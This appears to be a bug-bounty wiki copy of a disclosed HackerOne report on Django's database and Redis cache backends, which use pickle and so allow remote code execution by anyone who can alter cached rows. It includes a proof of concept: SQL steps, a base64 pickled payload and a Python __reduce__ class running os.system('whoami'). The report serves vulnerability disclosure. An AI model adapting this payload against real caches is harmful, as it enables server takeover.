Deserialization of potentially malicious data to RCE
Django's database and Redis cache backends use Python pickle to deserialize cached data, so an attacker who gains access to the cache store can execute arbitrary code on the Django server. The report demonstrates this by modifying a cached entry in a SQLite database to run a command.
Originally disclosed on HackerOne
- Disclosed after 43 days
Hello, Django Team! It's my first time working with you, hope it will be great! Note: I have not seen this issue neither in known vulnerabilities nor in documentation, so here I am.
Summary
Several type of caches in https://github.com/django/django/tree/main/django/core/cache/backends use python pickle which may result in RCE (basically privilege escalation) in case attacker will takeover a machine/container with cache.
So, 4 types of cache use pickle.load directly or under the hood:
- Locmem - I don't consider it as a big issue, because locmem uses some random part of memory for cache taken by Python while the server runs + it is unlikely to be used in production.
- Filebased - I don't consider it as an issue, because if you control the file with cache, it is likely that you control the machine where Django runs + this behaviour is mentioned in the documentation (https://docs.djangoproject.com/en/3.2/topics/cache/):
An attacker who gains access to the cache file can not only falsify HTML content, which your site will trust, but also remotely execute arbitrary code, as the data is serialized using pickle.
- Database - this time I consider this as an issue, because a Django app and db are pretty likely running on different machines/containers. So in case attacker gains access to db, a door to privilege escalation via RCE on other machine is open.
- Redis - though it was not released yet, it's already supported in dev version from source. Same thoughts here - Redis is likely to run in a separated environment.
PoC, steps to reproduce:
I'm providing it for a db based cache, as Redis support is not officially released yet if I'm not mistaking For an ease of PoC I will use sqlite3 on the same machine, but you of course may run a separate database.
- Create a Django project, make some simple app.
- Add this to
settings.py:
MIDDLEWARE = [
'django.middleware.cache.UpdateCacheMiddleware',
...
'django.middleware.cache.FetchFromCacheMiddleware',
]
...
CACHE_MIDDLEWARE_ALIAS = 'default'
CACHE_MIDDLEWARE_KEY_PREFIX = ''
...
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.db.DatabaseCache',
'LOCATION': 'my_cache_table',
}
}
- Run the server, visit your app's page to create a cache entry;
- In your shell run:
sqlite3 db.sqlite3
5. Run SELECT * FROM my_cache_table; to find a row which stores the cached page (it was the second one in my case).
6. Run UPDATE my_cache_table SET value = 'gASVHgAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjAZ3aG9hbWmUhZRSlC4=' where rowid=2; with the id of your row,
7. Reload the web page.
8. Observe command execution in the server logs.
Video PoC:
gASVHgAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjAZ3aG9hbWmUhZRSlC4= is a base64 version of pickled RCE payload:
class Pwner:
def __reduce__(self):
import os
cmd = "whoami"
return os.system, (cmd,)
Reference
As a reference I'm leaving a very same issue in Flask: https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-33026&scoretype=cvssv2
Attack scenario:
- Attacker gains an access to machine/container with cache instance.
- Attacker now can run arbitrary code on machine with running Django server.
Impact
RCE, full machine takeover
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The cache backends use Python's pickle module to serialize and deserialize cached data, which allows code execution if an attacker can modify the stored data.
Impact
An attacker who gains access to the cache store can execute arbitrary code on the Django server, leading to full machine takeover.
What the attacker needed
Access to the cache store (database or Redis)
How it was found
- Create a Django project and app.
- Configure the database cache backend in settings.
- Run the server and visit a page to create a cache entry.
- Open the database and find the cached row.
- Update the cached value with a malicious pickle payload.
- Reload the page and observe command execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some parts of Django store cached web pages in a database or Redis using a Python format called pickle. Pickle can run code when it is loaded, so if an attacker can change the stored data, they can make the server run their commands. This is dangerous because the database or cache server might be on a different machine than the Django app.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.